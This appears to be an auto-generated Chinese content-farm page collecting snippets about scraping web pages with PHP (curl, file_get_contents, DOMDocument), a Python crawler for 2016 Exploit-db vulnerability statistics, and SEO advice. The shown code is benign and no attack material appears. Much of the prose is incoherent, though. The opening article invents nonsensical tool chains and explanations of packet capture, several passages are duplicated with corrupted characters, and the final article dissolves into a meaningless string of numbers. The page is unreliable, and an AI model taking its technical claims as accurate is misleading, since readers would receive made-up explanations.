在php抓包這個(gè)頁(yè)面抓包后,可以給php程序設置下超時(shí)時(shí)間,這樣再去訪(fǎng)問(wèn)這個(gè)網(wǎng)頁(yè)時(shí),就不會(huì )出現提示,這里是30秒。我們用到的分析工具:apache服務(wù)器erq、mongoconfig、erq;其實(shí)get也可以,對了,我們用erq還有個(gè)主要原因是不用自己寫(xiě)代碼,因為是使用get的。windows服務(wù)器選擇使用apache服務(wù)器,mac服務(wù)器選擇使用erq。軟件下載:/website/localhost/。 查看全部
php抓取網(wǎng)頁(yè)指定內容(php抓取網(wǎng)頁(yè)指定內容的文件是什么?php網(wǎng)頁(yè)內容)
php抓取網(wǎng)頁(yè)指定內容的文件,這是一個(gè)最簡(jiǎn)單的分析網(wǎng)頁(yè)的功能,但是往往不用指定網(wǎng)址,所以總有人問(wèn)我為什么?當然這可能是現在抓包技術(shù)不夠發(fā)達所造成的,我們今天來(lái)實(shí)現下php抓取網(wǎng)所有商品的網(wǎng)頁(yè)內容的功能。首先我們寫(xiě)下自己的測試程序:1.打開(kāi)瀏覽器,然后輸入我們在某信息競賽網(wǎng)站注冊成功的賬號和密碼,開(kāi)始搜索。
hao2211.php/,然后出現12個(gè)頁(yè)面。2.都是互聯(lián)網(wǎng)站點(diǎn)的網(wǎng)頁(yè)內容。3.那么我們就可以在瀏覽器上下載,比如百度輸入站點(diǎn)(鏈接),出現域名解析頁(yè)面。4.這是php對象解析頁(yè)面,可以看到php解析頁(yè)面,本質(zhì)上就是抓包工具,和get包工具不同,get解析網(wǎng)頁(yè)時(shí),獲取的是一個(gè)網(wǎng)站的ip地址,然后用這個(gè)ip地址所對應的網(wǎng)站的域名進(jìn)行解析,傳遞給解析工具解析,同時(shí)實(shí)現網(wǎng)站域名、ip地址和網(wǎng)站ip的綁定,這個(gè)頁(yè)面就可以理解為murls中的server頁(yè)。
所以就可以抓包,解析一個(gè)網(wǎng)站的網(wǎng)頁(yè)內容和ip地址關(guān)系圖如下:5.我們就要用到mongodb,其實(shí)我們有些用erq解析這個(gè)網(wǎng)站的,無(wú)非是花了點(diǎn)時(shí)間和錢(qián)而已,可以直接用erq實(shí)現。注意這里不使用erq原因是因為oracle客戶(hù)端一個(gè)賬號只能注冊4個(gè),一年700元,數據庫還是要用mongodb,免費。這里只寫(xiě)一下方法:雙擊php文件“”把的配置信息中的uri地址設置為指定域名解析以后,在瀏覽器重新訪(fǎng)問(wèn)這個(gè)網(wǎng)站的域名,就會(huì )打開(kāi)我們的php網(wǎng)頁(yè),就可以獲取到網(wǎng)頁(yè)內容了。
抓包就是將網(wǎng)站的源代碼,我們自己的數據庫的數據,放到自己服務(wù)器里面,然后使用工具解析出網(wǎng)頁(yè)內容。比如下面是正常的解析流程:抓包就是兩件事,一個(gè)是將我們網(wǎng)站的源代碼(也就是ip地址),我們自己的數據庫的數據,放到指定地址下;一個(gè)是數據庫查詢(xún)出網(wǎng)頁(yè)內容。erq一次可以處理多次,時(shí)效不同,抓包最多抓20個(gè)。
在php抓包這個(gè)頁(yè)面抓包后,可以給php程序設置下超時(shí)時(shí)間,這樣再去訪(fǎng)問(wèn)這個(gè)網(wǎng)頁(yè)時(shí),就不會(huì )出現提示,這里是30秒。我們用到的分析工具:apache服務(wù)器erq、mongoconfig、erq;其實(shí)get也可以,對了,我們用erq還有個(gè)主要原因是不用自己寫(xiě)代碼,因為是使用get的。windows服務(wù)器選擇使用apache服務(wù)器,mac服務(wù)器選擇使用erq。軟件下載:/website/localhost/。
php抓取網(wǎng)頁(yè)指定內容(2016年度Web漏洞統計之Exploit-db2016年我們耳邊)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 68 次瀏覽 ? 2021-11-24 13:19
Exploit-db of 2016 Web Vulnerability Statistics
2016年,我們經(jīng)常會(huì )想到“大數據”、“物聯(lián)網(wǎng)”、“云”、“工控系統”等關(guān)鍵詞。很多廠(chǎng)商和行業(yè)都在如火如荼地做著(zhù)“大數據”。隨著(zhù)2016年的過(guò)去,新的一年的到來(lái),讓我們也對Web漏洞進(jìn)行一次“大數據”。所以,針對web漏洞的“大數據”分析思路如下:1.寫(xiě)一個(gè)python爬蟲(chóng),把2016年的web漏洞進(jìn)行數據爬?。壳爸髁鞯膚eb爬蟲(chóng)一直都是python,開(kāi)發(fā)效率高和簡(jiǎn)單的代碼編寫(xiě))2. 將python爬蟲(chóng)爬取的數據輸出到excl3. 使用excle 進(jìn)行二次數據排序,統計漏洞排名,開(kāi)發(fā)語(yǔ)言,漏洞數量4.圖表展示,使用辦公室任何工具省略中間過(guò)程,python爬蟲(chóng)的部分代碼會(huì )在最后發(fā)出。開(kāi)源 PHP 的問(wèn)題最多,ASPX 和 Python 的問(wèn)題最少。 0X003 每個(gè)月的漏洞數量分布? 2016 年 6 月和 10 月提交的漏洞數量最多。是因為黑客假期在家無(wú)聊嗎? 0X004 世界黑客漏洞提交排名Top10? 0X005以文章結尾結束,發(fā)布python爬蟲(chóng)源碼:#-*-coding:utf-8-*-#爬取ebay網(wǎng)站頁(yè)面,設置編號,保存源文件
526 查看全部
php抓取網(wǎng)頁(yè)指定內容(2016年度Web漏洞統計之Exploit-db2016年我們耳邊)
Exploit-db of 2016 Web Vulnerability Statistics
2016年,我們經(jīng)常會(huì )想到“大數據”、“物聯(lián)網(wǎng)”、“云”、“工控系統”等關(guān)鍵詞。很多廠(chǎng)商和行業(yè)都在如火如荼地做著(zhù)“大數據”。隨著(zhù)2016年的過(guò)去,新的一年的到來(lái),讓我們也對Web漏洞進(jìn)行一次“大數據”。所以,針對web漏洞的“大數據”分析思路如下:1.寫(xiě)一個(gè)python爬蟲(chóng),把2016年的web漏洞進(jìn)行數據爬?。壳爸髁鞯膚eb爬蟲(chóng)一直都是python,開(kāi)發(fā)效率高和簡(jiǎn)單的代碼編寫(xiě))2. 將python爬蟲(chóng)爬取的數據輸出到excl3. 使用excle 進(jìn)行二次數據排序,統計漏洞排名,開(kāi)發(fā)語(yǔ)言,漏洞數量4.圖表展示,使用辦公室任何工具省略中間過(guò)程,python爬蟲(chóng)的部分代碼會(huì )在最后發(fā)出。開(kāi)源 PHP 的問(wèn)題最多,ASPX 和 Python 的問(wèn)題最少。 0X003 每個(gè)月的漏洞數量分布? 2016 年 6 月和 10 月提交的漏洞數量最多。是因為黑客假期在家無(wú)聊嗎? 0X004 世界黑客漏洞提交排名Top10? 0X005以文章結尾結束,發(fā)布python爬蟲(chóng)源碼:#-*-coding:utf-8-*-#爬取ebay網(wǎng)站頁(yè)面,設置編號,保存源文件
526
php抓取網(wǎng)頁(yè)指定內容(這篇文章主要是對CURLOPT_CUSTOMREQUEST參數的運用(圖))
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 90 次瀏覽 ? 2021-11-23 00:19
本文文章主要介紹PHP curl實(shí)現302跳轉后的頁(yè)面的例子,主要是CURLOPT_CUSTOMREQUEST參數的使用,需要的朋友可以參考
PHP的CURL正常抓取頁(yè)面程序如下:
$url = 'http://www.baidu.com'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_VERBOSE, true); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_NOBODY, true); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_AUTOREFERER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $ret = curl_exec($ch); $info = curl_getinfo($ch); curl_close($ch);
如果抓取到302狀態(tài),那是因為在爬取過(guò)程中,有些跳轉需要給下一個(gè)鏈接傳遞參數,如果沒(méi)有收到相應的參數,下一個(gè)鏈接也被設置了,就是非法訪(fǎng)問(wèn)。
curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'GET');
顯示應該是正常的。
上面是用來(lái)抓取函數的,應該幾乎沒(méi)有問(wèn)題。您可以查看 CURLOPT_CUSTOMREQUEST 相關(guān)信息。
使用自定義請求消息而不是“GET”或“HEAD”作為 HTTP 請求。這對于執行“DELETE”或其他更模糊的 HTTP 請求很有用。有效值為“GET”、“POST”、“CONNECT”等。換句話(huà)說(shuō),不要在此處輸入整個(gè) HTTP 請求。例如,輸入“GET /index.html HTTP/1.0\r\n\r\n”是錯誤的。
以上就是302跳轉后抓取頁(yè)面的PHP curl實(shí)現示例的詳細內容。更多詳情請關(guān)注其他相關(guān)html中文網(wǎng)站文章! 查看全部
php抓取網(wǎng)頁(yè)指定內容(這篇文章主要是對CURLOPT_CUSTOMREQUEST參數的運用(圖))
本文文章主要介紹PHP curl實(shí)現302跳轉后的頁(yè)面的例子,主要是CURLOPT_CUSTOMREQUEST參數的使用,需要的朋友可以參考
PHP的CURL正常抓取頁(yè)面程序如下:
$url = 'http://www.baidu.com'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_VERBOSE, true); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_NOBODY, true); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_AUTOREFERER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $ret = curl_exec($ch); $info = curl_getinfo($ch); curl_close($ch);
如果抓取到302狀態(tài),那是因為在爬取過(guò)程中,有些跳轉需要給下一個(gè)鏈接傳遞參數,如果沒(méi)有收到相應的參數,下一個(gè)鏈接也被設置了,就是非法訪(fǎng)問(wèn)。
curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'GET');
顯示應該是正常的。
上面是用來(lái)抓取函數的,應該幾乎沒(méi)有問(wèn)題。您可以查看 CURLOPT_CUSTOMREQUEST 相關(guān)信息。
使用自定義請求消息而不是“GET”或“HEAD”作為 HTTP 請求。這對于執行“DELETE”或其他更模糊的 HTTP 請求很有用。有效值為“GET”、“POST”、“CONNECT”等。換句話(huà)說(shuō),不要在此處輸入整個(gè) HTTP 請求。例如,輸入“GET /index.html HTTP/1.0\r\n\r\n”是錯誤的。
以上就是302跳轉后抓取頁(yè)面的PHP curl實(shí)現示例的詳細內容。更多詳情請關(guān)注其他相關(guān)html中文網(wǎng)站文章!
php抓取網(wǎng)頁(yè)指定內容(這里收集了3種利用php獲得網(wǎng)頁(yè)源代碼抓取網(wǎng)頁(yè)內容的方法)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 65 次瀏覽 ? 2021-11-20 13:07
這里匯總了3種利用php獲取網(wǎng)頁(yè)源碼抓取網(wǎng)頁(yè)內容的方法,大家可以根據實(shí)際需要選擇。
1、使用file_get_contents獲取網(wǎng)頁(yè)源代碼
這種方法是最常用的。只需要兩行代碼,非常簡(jiǎn)單方便。
參考代碼:
2、使用fopen獲取網(wǎng)頁(yè)源碼
這個(gè)方法很多人用,但是代碼有點(diǎn)多。
參考代碼:
3、使用curl獲取網(wǎng)頁(yè)源代碼
使用curl獲取網(wǎng)頁(yè)源代碼的方法,經(jīng)常被要求較高的人使用。比如需要抓取網(wǎng)頁(yè)的內容,獲取網(wǎng)頁(yè)的header信息,使用ENCODING編碼,使用USERAGENT等等。
參考代碼一:
參考代碼二:
上例中用到了幾個(gè)curl_setopt()參數定義,如HEADER、ENCODING、USERAGENT等,更多參數和用法可以參考這里。
需要注意的是,在使用curl_init()之前,需要對php.ini進(jìn)行安全設置,否則無(wú)法執行該函數??梢詤⒖枷旅嫖恼陆鉀Q在IIS上運行PHP時(shí)Call to undefined function curl_init()的問(wèn)題。
指南:fopen()和file_get_contents()打開(kāi)URL獲取網(wǎng)頁(yè)內容的用法區別 查看全部
php抓取網(wǎng)頁(yè)指定內容(這里收集了3種利用php獲得網(wǎng)頁(yè)源代碼抓取網(wǎng)頁(yè)內容的方法)
這里匯總了3種利用php獲取網(wǎng)頁(yè)源碼抓取網(wǎng)頁(yè)內容的方法,大家可以根據實(shí)際需要選擇。
1、使用file_get_contents獲取網(wǎng)頁(yè)源代碼
這種方法是最常用的。只需要兩行代碼,非常簡(jiǎn)單方便。
參考代碼:
2、使用fopen獲取網(wǎng)頁(yè)源碼
這個(gè)方法很多人用,但是代碼有點(diǎn)多。
參考代碼:
3、使用curl獲取網(wǎng)頁(yè)源代碼
使用curl獲取網(wǎng)頁(yè)源代碼的方法,經(jīng)常被要求較高的人使用。比如需要抓取網(wǎng)頁(yè)的內容,獲取網(wǎng)頁(yè)的header信息,使用ENCODING編碼,使用USERAGENT等等。
參考代碼一:
參考代碼二:
上例中用到了幾個(gè)curl_setopt()參數定義,如HEADER、ENCODING、USERAGENT等,更多參數和用法可以參考這里。
需要注意的是,在使用curl_init()之前,需要對php.ini進(jìn)行安全設置,否則無(wú)法執行該函數??梢詤⒖枷旅嫖恼陆鉀Q在IIS上運行PHP時(shí)Call to undefined function curl_init()的問(wèn)題。
指南:fopen()和file_get_contents()打開(kāi)URL獲取網(wǎng)頁(yè)內容的用法區別
php抓取網(wǎng)頁(yè)指定內容(介紹網(wǎng)站seo優(yōu)化工作者需要具備哪些知識?百度搜索引擎優(yōu)化指南)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 71 次瀏覽 ? 2021-11-16 22:22
#sem快排簡(jiǎn)介
網(wǎng)站SEO優(yōu)化工作者需要哪些知識?百度SEO指南由百度官方編制。這是一份總共只有幾十頁(yè)的文檔,但它已經(jīng)提到了許多搜索引擎優(yōu)化中需要注意的重要事項。很多SEO鄙視這個(gè)指南,認為百度是在盡力寫(xiě)無(wú)價(jià)值的東西,但實(shí)際上并非如此。比如上面提到的兩個(gè):避免在重要的內容中使用ajax,保證URL的唯一性很重要。但是,我沒(méi)有發(fā)現任何我觀(guān)察??到的大型 網(wǎng)站,而且這些 網(wǎng)站 表現非常好。但是,這對搜索引擎優(yōu)化的結果影響很大,往往一個(gè)變化就會(huì )對某類(lèi)頁(yè)面的某個(gè)數據索引產(chǎn)生幾十個(gè)百分點(diǎn)的影響。有關(guān)“Google網(wǎng)站網(wǎng)站管理員工具幫助”的更多詳細信息。不過(guò)由于內容比較多,我跟公司所有產(chǎn)品經(jīng)理說(shuō)的就是這個(gè)信息可以作為參考,但是百度攻略一定要記住。但是對于搜索引擎優(yōu)化來(lái)說(shuō),這些信息至少需要仔細閱讀。一般來(lái)說(shuō),所有的搜索引擎優(yōu)化需求最終都是由技術(shù)人員在網(wǎng)站上實(shí)現的。然而,大多數搜索引擎優(yōu)化要求在技術(shù)上并沒(méi)有得到滿(mǎn)足。比如在子域的根目錄下,需要批量添加不同的robots.txt。有些人可能認為這只是傳輸文件,但在大多數情況下并非如此。在許多 網(wǎng)站 架構中,不同的子域共享一個(gè)根目錄,并且只能收錄相同的文件。解決方法其實(shí)很簡(jiǎn)單。robots.txt 是用 php 或其他東西動(dòng)態(tài)分析的。訪(fǎng)問(wèn)時(shí),確定要訪(fǎng)問(wèn)的域名,并返回相應的內容。然而,并不是每個(gè)程序員都會(huì )經(jīng)常滿(mǎn)足這種奇怪的需求,很多人無(wú)法同時(shí)想到這種方法。相關(guān)文章鏈接的生成方法是什么?特定于使用開(kāi)源程序或算法的一般操作細節是什么?對于搜索引擎優(yōu)化流量占網(wǎng)站總數不到1/1000的頁(yè)面,在此處添加alt并在那里刪除關(guān)鍵詞等等。尤其是對于大公司來(lái)說(shuō),這么大量的修改通常都是交給別人去做,給一群人帶來(lái)麻煩。詳情是什么?在列表頁(yè)或內頁(yè)模板上,給這邊的圖片加alt,這邊的刪除,刪除關(guān)鍵字等等(比如可以做的事情很多,網(wǎng)上大部分方法都無(wú)法查看)。因為修改了公共頁(yè)面的模板,影響是對站點(diǎn)的,哪怕是很小的修改,都可能導致整個(gè)站點(diǎn)的搜索引擎優(yōu)化流量發(fā)生幾個(gè)百分點(diǎn)的變化。如果沒(méi)有特別說(shuō)明,文章都是拉18原創(chuàng )制作的。如轉載請注明出處。sem快速排 可以做的事情很多,大部分方法網(wǎng)上都看不到)。因為修改了公共頁(yè)面的模板,影響是對站點(diǎn)的,哪怕是很小的修改,都可能導致整個(gè)站點(diǎn)的搜索引擎優(yōu)化流量發(fā)生幾個(gè)百分點(diǎn)的變化。如果沒(méi)有特別說(shuō)明,文章都是拉18原創(chuàng )制作的。如轉載請注明出處。sem快速排 可以做的事情很多,大部分方法網(wǎng)上都看不到)。因為修改了公共頁(yè)面的模板,影響是對站點(diǎn)的,哪怕是很小的修改,都可能導致整個(gè)站點(diǎn)的搜索引擎優(yōu)化流量發(fā)生幾個(gè)百分點(diǎn)的變化。如果沒(méi)有特別說(shuō)明,文章都是拉18原創(chuàng )制作的。如轉載請注明出處。sem快速排 如轉載請注明出處。sem快速排 如轉載請注明出處。sem快速排
如何讓搜索引擎優(yōu)化產(chǎn)生高質(zhì)量的反向鏈接?下面的小編輯器將告訴您 SEO 如何生成高質(zhì)量的反向鏈接。生成優(yōu)質(zhì)內容和優(yōu)質(zhì)外鏈的最好方法是編寫(xiě)優(yōu)質(zhì)內容。你的文章可以讓讀者產(chǎn)生閱讀和轉載文章的欲望。合作伙伴,鏈接交流,推薦合作伙伴鏈接。鏈接行業(yè)網(wǎng)站及相關(guān)網(wǎng)站。分類(lèi)目錄將網(wǎng)站提交給一些專(zhuān)業(yè)目錄網(wǎng)站。社交書(shū)簽為 網(wǎng)站 添加社交書(shū)簽。發(fā)布以創(chuàng )建鏈接。目前,獲取外部鏈接最有效的方式之一是發(fā)布文章。論壇或簽名文件中的帖子將URL插入到原創(chuàng )帖子中,并在論壇或簽名文件中發(fā)布鏈接。購買(mǎi)高價(jià)值鏈接是邊小不推薦的搜索引擎優(yōu)化方式,一旦被搜索引擎發(fā)現就會(huì )降級。這是不可取的。如果沒(méi)有特別說(shuō)明,文章都是拉18原創(chuàng )制作的。如轉載請注明出處。 查看全部
php抓取網(wǎng)頁(yè)指定內容(介紹網(wǎng)站seo優(yōu)化工作者需要具備哪些知識?百度搜索引擎優(yōu)化指南)
#sem快排簡(jiǎn)介
網(wǎng)站SEO優(yōu)化工作者需要哪些知識?百度SEO指南由百度官方編制。這是一份總共只有幾十頁(yè)的文檔,但它已經(jīng)提到了許多搜索引擎優(yōu)化中需要注意的重要事項。很多SEO鄙視這個(gè)指南,認為百度是在盡力寫(xiě)無(wú)價(jià)值的東西,但實(shí)際上并非如此。比如上面提到的兩個(gè):避免在重要的內容中使用ajax,保證URL的唯一性很重要。但是,我沒(méi)有發(fā)現任何我觀(guān)察??到的大型 網(wǎng)站,而且這些 網(wǎng)站 表現非常好。但是,這對搜索引擎優(yōu)化的結果影響很大,往往一個(gè)變化就會(huì )對某類(lèi)頁(yè)面的某個(gè)數據索引產(chǎn)生幾十個(gè)百分點(diǎn)的影響。有關(guān)“Google網(wǎng)站網(wǎng)站管理員工具幫助”的更多詳細信息。不過(guò)由于內容比較多,我跟公司所有產(chǎn)品經(jīng)理說(shuō)的就是這個(gè)信息可以作為參考,但是百度攻略一定要記住。但是對于搜索引擎優(yōu)化來(lái)說(shuō),這些信息至少需要仔細閱讀。一般來(lái)說(shuō),所有的搜索引擎優(yōu)化需求最終都是由技術(shù)人員在網(wǎng)站上實(shí)現的。然而,大多數搜索引擎優(yōu)化要求在技術(shù)上并沒(méi)有得到滿(mǎn)足。比如在子域的根目錄下,需要批量添加不同的robots.txt。有些人可能認為這只是傳輸文件,但在大多數情況下并非如此。在許多 網(wǎng)站 架構中,不同的子域共享一個(gè)根目錄,并且只能收錄相同的文件。解決方法其實(shí)很簡(jiǎn)單。robots.txt 是用 php 或其他東西動(dòng)態(tài)分析的。訪(fǎng)問(wèn)時(shí),確定要訪(fǎng)問(wèn)的域名,并返回相應的內容。然而,并不是每個(gè)程序員都會(huì )經(jīng)常滿(mǎn)足這種奇怪的需求,很多人無(wú)法同時(shí)想到這種方法。相關(guān)文章鏈接的生成方法是什么?特定于使用開(kāi)源程序或算法的一般操作細節是什么?對于搜索引擎優(yōu)化流量占網(wǎng)站總數不到1/1000的頁(yè)面,在此處添加alt并在那里刪除關(guān)鍵詞等等。尤其是對于大公司來(lái)說(shuō),這么大量的修改通常都是交給別人去做,給一群人帶來(lái)麻煩。詳情是什么?在列表頁(yè)或內頁(yè)模板上,給這邊的圖片加alt,這邊的刪除,刪除關(guān)鍵字等等(比如可以做的事情很多,網(wǎng)上大部分方法都無(wú)法查看)。因為修改了公共頁(yè)面的模板,影響是對站點(diǎn)的,哪怕是很小的修改,都可能導致整個(gè)站點(diǎn)的搜索引擎優(yōu)化流量發(fā)生幾個(gè)百分點(diǎn)的變化。如果沒(méi)有特別說(shuō)明,文章都是拉18原創(chuàng )制作的。如轉載請注明出處。sem快速排 可以做的事情很多,大部分方法網(wǎng)上都看不到)。因為修改了公共頁(yè)面的模板,影響是對站點(diǎn)的,哪怕是很小的修改,都可能導致整個(gè)站點(diǎn)的搜索引擎優(yōu)化流量發(fā)生幾個(gè)百分點(diǎn)的變化。如果沒(méi)有特別說(shuō)明,文章都是拉18原創(chuàng )制作的。如轉載請注明出處。sem快速排 可以做的事情很多,大部分方法網(wǎng)上都看不到)。因為修改了公共頁(yè)面的模板,影響是對站點(diǎn)的,哪怕是很小的修改,都可能導致整個(gè)站點(diǎn)的搜索引擎優(yōu)化流量發(fā)生幾個(gè)百分點(diǎn)的變化。如果沒(méi)有特別說(shuō)明,文章都是拉18原創(chuàng )制作的。如轉載請注明出處。sem快速排 如轉載請注明出處。sem快速排 如轉載請注明出處。sem快速排

如何讓搜索引擎優(yōu)化產(chǎn)生高質(zhì)量的反向鏈接?下面的小編輯器將告訴您 SEO 如何生成高質(zhì)量的反向鏈接。生成優(yōu)質(zhì)內容和優(yōu)質(zhì)外鏈的最好方法是編寫(xiě)優(yōu)質(zhì)內容。你的文章可以讓讀者產(chǎn)生閱讀和轉載文章的欲望。合作伙伴,鏈接交流,推薦合作伙伴鏈接。鏈接行業(yè)網(wǎng)站及相關(guān)網(wǎng)站。分類(lèi)目錄將網(wǎng)站提交給一些專(zhuān)業(yè)目錄網(wǎng)站。社交書(shū)簽為 網(wǎng)站 添加社交書(shū)簽。發(fā)布以創(chuàng )建鏈接。目前,獲取外部鏈接最有效的方式之一是發(fā)布文章。論壇或簽名文件中的帖子將URL插入到原創(chuàng )帖子中,并在論壇或簽名文件中發(fā)布鏈接。購買(mǎi)高價(jià)值鏈接是邊小不推薦的搜索引擎優(yōu)化方式,一旦被搜索引擎發(fā)現就會(huì )降級。這是不可取的。如果沒(méi)有特別說(shuō)明,文章都是拉18原創(chuàng )制作的。如轉載請注明出處。
php抓取網(wǎng)頁(yè)指定內容(我已經(jīng)使用PHP和cURL構建了一個(gè)簡(jiǎn)單的抓取工具)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 53 次瀏覽 ? 2022-01-19 22:00
我已經(jīng)使用 PHP 和 cURL 構建了一個(gè)簡(jiǎn)單的網(wǎng)絡(luò )抓取工具,并通過(guò) ID 抓取或通過(guò)所需元素上不存在 ID 的標簽名稱(chēng)來(lái)抓取頁(yè)面的一些元素,使用如下代碼:
$dom = new DOMDocument();
@$dom->loadHTML($response);
$table = $dom->getElementsByTagName('table')->item(4);
$response = $dom->saveXML($table);
現在我陷入了兩難境地,我需要更進(jìn)一步,找到某個(gè)字符串或正則表達式模式的文本的父元素,因為我需要從中采集數據的站點(diǎn)沒(méi)有任何 ID 或類(lèi)我還需要從中提取數據的 HTML 元素 各種頁(yè)面可能以不同的方式組織數據,所以我不能總是依賴(lài)表中的數據#。在我離開(kāi)這個(gè) 網(wǎng)站 之后獲取數據的唯一可靠方法是通過(guò)文本格式查找它,它始終是一個(gè)以“1”開(kāi)頭的數字列表。他們不使用有序列表,否則會(huì )簡(jiǎn)單得多。這只是一個(gè)簡(jiǎn)單的表格單元格,其數字線(xiàn)由簡(jiǎn)單的
分開(kāi)。所以我想如果我能找到“1”,它的父元素就是表格單元格,找到它之后,我需要提取它的內容,可能還有表格行中任何其他相鄰表格單元格的內容。在頁(yè)面或 HTML 代碼中找不到“1.”的其他實(shí)例,所以這種方法似乎是合理的,如果不是有點(diǎn)冒險的話(huà),但我離題了。那么,處理這樣的事情的最佳方法是什么? 查看全部
php抓取網(wǎng)頁(yè)指定內容(我已經(jīng)使用PHP和cURL構建了一個(gè)簡(jiǎn)單的抓取工具)
我已經(jīng)使用 PHP 和 cURL 構建了一個(gè)簡(jiǎn)單的網(wǎng)絡(luò )抓取工具,并通過(guò) ID 抓取或通過(guò)所需元素上不存在 ID 的標簽名稱(chēng)來(lái)抓取頁(yè)面的一些元素,使用如下代碼:
$dom = new DOMDocument();
@$dom->loadHTML($response);
$table = $dom->getElementsByTagName('table')->item(4);
$response = $dom->saveXML($table);
現在我陷入了兩難境地,我需要更進(jìn)一步,找到某個(gè)字符串或正則表達式模式的文本的父元素,因為我需要從中采集數據的站點(diǎn)沒(méi)有任何 ID 或類(lèi)我還需要從中提取數據的 HTML 元素 各種頁(yè)面可能以不同的方式組織數據,所以我不能總是依賴(lài)表中的數據#。在我離開(kāi)這個(gè) 網(wǎng)站 之后獲取數據的唯一可靠方法是通過(guò)文本格式查找它,它始終是一個(gè)以“1”開(kāi)頭的數字列表。他們不使用有序列表,否則會(huì )簡(jiǎn)單得多。這只是一個(gè)簡(jiǎn)單的表格單元格,其數字線(xiàn)由簡(jiǎn)單的
分開(kāi)。所以我想如果我能找到“1”,它的父元素就是表格單元格,找到它之后,我需要提取它的內容,可能還有表格行中任何其他相鄰表格單元格的內容。在頁(yè)面或 HTML 代碼中找不到“1.”的其他實(shí)例,所以這種方法似乎是合理的,如果不是有點(diǎn)冒險的話(huà),但我離題了。那么,處理這樣的事情的最佳方法是什么?
php抓取網(wǎng)頁(yè)指定內容(php抓取網(wǎng)頁(yè)指定內容,可以爬取的數據范圍比較廣)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 47 次瀏覽 ? 2022-01-15 06:04
php抓取網(wǎng)頁(yè)指定內容,可以爬取的數據范圍比較廣,我這里就以phpspider為例進(jìn)行講解。首先,你需要理解一下phpspider是什么。phpspider抓取網(wǎng)頁(yè)內容首先,我們要知道phpspider是什么。phpspider抓取網(wǎng)頁(yè)內容是通過(guò)程序抓取所有的網(wǎng)頁(yè)內容,并且可以保存到一個(gè)數據庫中,然后通過(guò)數據庫進(jìn)行分析。
phpspider抓取所有網(wǎng)頁(yè)內容可以采用下面的步驟實(shí)現。具體代碼可以參考這篇文章。phpspider抓取網(wǎng)頁(yè)內容代碼截圖如下,部分不是特別清晰,可以看下方的截圖整體代碼如下://定義一個(gè)phpspider//url,去尋找合適的網(wǎng)頁(yè),這里選擇了百度和//定義一個(gè)item對象$item=get_url('');$url=$item->get('/');//參數id,參數id,參數set_text('','關(guān)于我們');$text='';//參數name,參數name,參數set_text('','','我們可以通過(guò)一個(gè)或多個(gè)id去抓取該網(wǎng)頁(yè)//text="',text,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,96,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,128,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,168,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,180,181,182,183,184,185,186,187,188,189,180,183,184,186,187,188,189,181,184,187,188,189,184,188,188,189,186,189,187,188,189,188,189,180,184,185,186,187,188,189,188,189,186,189,188,189,187,189,186,189,188,189。 查看全部
php抓取網(wǎng)頁(yè)指定內容(php抓取網(wǎng)頁(yè)指定內容,可以爬取的數據范圍比較廣)
php抓取網(wǎng)頁(yè)指定內容,可以爬取的數據范圍比較廣,我這里就以phpspider為例進(jìn)行講解。首先,你需要理解一下phpspider是什么。phpspider抓取網(wǎng)頁(yè)內容首先,我們要知道phpspider是什么。phpspider抓取網(wǎng)頁(yè)內容是通過(guò)程序抓取所有的網(wǎng)頁(yè)內容,并且可以保存到一個(gè)數據庫中,然后通過(guò)數據庫進(jìn)行分析。
phpspider抓取所有網(wǎng)頁(yè)內容可以采用下面的步驟實(shí)現。具體代碼可以參考這篇文章。phpspider抓取網(wǎng)頁(yè)內容代碼截圖如下,部分不是特別清晰,可以看下方的截圖整體代碼如下://定義一個(gè)phpspider//url,去尋找合適的網(wǎng)頁(yè),這里選擇了百度和//定義一個(gè)item對象$item=get_url('');$url=$item->get('/');//參數id,參數id,參數set_text('','關(guān)于我們');$text='';//參數name,參數name,參數set_text('','','我們可以通過(guò)一個(gè)或多個(gè)id去抓取該網(wǎng)頁(yè)//text="',text,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,96,98,99,100,101,1